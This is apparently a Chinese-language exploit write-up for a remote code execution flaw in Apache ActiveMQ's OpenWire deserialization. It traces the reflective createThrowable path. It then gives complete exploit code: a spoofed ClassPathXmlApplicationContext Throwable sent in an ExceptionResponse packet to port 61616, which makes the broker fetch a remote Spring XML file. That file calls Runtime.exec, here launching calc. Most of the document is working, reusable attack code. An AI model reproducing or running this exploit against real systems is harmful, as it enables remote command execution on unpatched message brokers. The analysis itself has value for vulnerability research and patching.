org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。
package org.apache.activemq.openwire.v12; BaseDataStreamMarshaller类 private Throwable createThrowable(String className, String message) { try { Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader()); Constructor constructor = clazz.getConstructor(new Class[] {String.class}); return (Throwable)constructor.newInstance(new Object[] {message}); } catch (Throwable e) { return new Throwable(className + ": " + message); } }
这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。
activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。
public class MainClassPathXmlApplicationContext { public static void main(String[] args) throws Exception { ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext(); Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader()); Constructor constructor = aClass.getConstructor(new Class[]{String.class}); constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"}); } }
createThrowable的触发来源两处
tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。
这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:
三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。
继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。
在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。
public Object doUnmarshal(DataInput dis) throws IOException { byte dataType = dis.readByte(); if (dataType != NULL_TYPE) { DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF]; if (dsm == null) { throw new IOException("Unknown data type: " + dataType); } Object data = dsm.createObject(); if (this.tightEncodingEnabled) { BooleanStream bs = new BooleanStream(); bs.unmarshal(dis); dsm.tightUnmarshal(this, data, dis, bs); } else { dsm.looseUnmarshal(this, data, dis); } return data; } else { return null; } }
dataType在dataMarshallers中对应的上述三种类索引如下:
doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。
通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。
通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionError、ExceptionResponse、MessageAck的时候dataType分别是16、31、22。
而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。
package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ public ClassPathXmlApplicationContext(String message) { super(message); } }
Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
远程XML文件
<?xml version="1.0" encoding="utf-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" /> <bean id="process" factory-bean="runtime" factory-method="exec"> <constructor-arg value="cmd /c start calc" /> </bean> </beans>
ClassPathXmlApplicationContext类
package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ public ClassPathXmlApplicationContext(String message) { super(message); } }
最终实现
import javax.jms.*; public class Main { private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616"; public static void main(String[] args) throws Exception { ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL); Connection connection = activeMQConnectionFactory.createConnection(); connection.start(); Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml"); ExceptionResponse exceptionResponse = new ExceptionResponse(obj); // ConnectionError connectionError = new ConnectionError(); // connectionError.setException(obj); // MessageAck messageAck = new MessageAck(); // messageAck.setPoisonCause(obj); ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse); connection.close(); } }